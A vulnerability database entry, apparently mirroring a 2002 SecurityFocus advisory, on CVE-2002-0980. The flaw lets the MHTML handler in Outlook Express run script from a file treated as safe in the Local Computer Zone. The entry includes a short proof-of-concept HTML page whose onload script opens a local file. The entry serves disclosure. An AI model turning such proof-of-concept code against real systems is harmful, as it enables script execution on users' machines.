Microsoft Outlook Express 5/6 - MHTML URL Handler File Rendering

🗓️ 15 Aug 2002 00:00:00Reported by http-equivType

MHTML URL handler in Outlook Express lacks file type validation, leading to potential script execution risks.

Reporter	Title	Published	Views	Family All 4
CVE	CVE-2002-0980	23 Aug 200204:00	–	cve
Cvelist	CVE-2002-0980	23 Aug 200204:00	–	cvelist
NVD	CVE-2002-0980	24 Sep 200204:00	–	nvd
CERT	Microsoft Internet Explorer and Outlook Express MHTML rendering engine incorrectly executes script in Local Computer Zone	2 Aug 200300:00	–	cert

source: https://www.securityfocus.com/bid/5473/info

Microsoft Outlook Express introduced a URL handler called MHTML (MIME Encapsulation of Aggregate HTML). This allows Internet Explorer to pass MHTML files to Outlook Express for rendering.

The MHTML URL handler does not validate the file type it is rendering. This could allow a file type that is normally considered to be a "safe file type", such as a .txt file, to be opened and have any script contained within rendered. This script would then be rendered in the Local Computer Zone.

<html>
<head>
<title>malware.com</title>
<meta NAME="Author" CONTENT="malware.com">
<meta name="robots" content="noindex, nofollow">
</head>
<body onload=malware() style="behavior: url(#default#httpFolder);">
<script>
function malware(){
document.body.navigate("http://www.microsoft.com");alert("malware");
open("file://C%3A%5CWINDOWS%5CTemp%5Cwecerr.txt")
}
</script><br><br><br><br>
<center><image src="smile.gif"></center>

03 Oct 2012 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 27.5

EPSS0.26675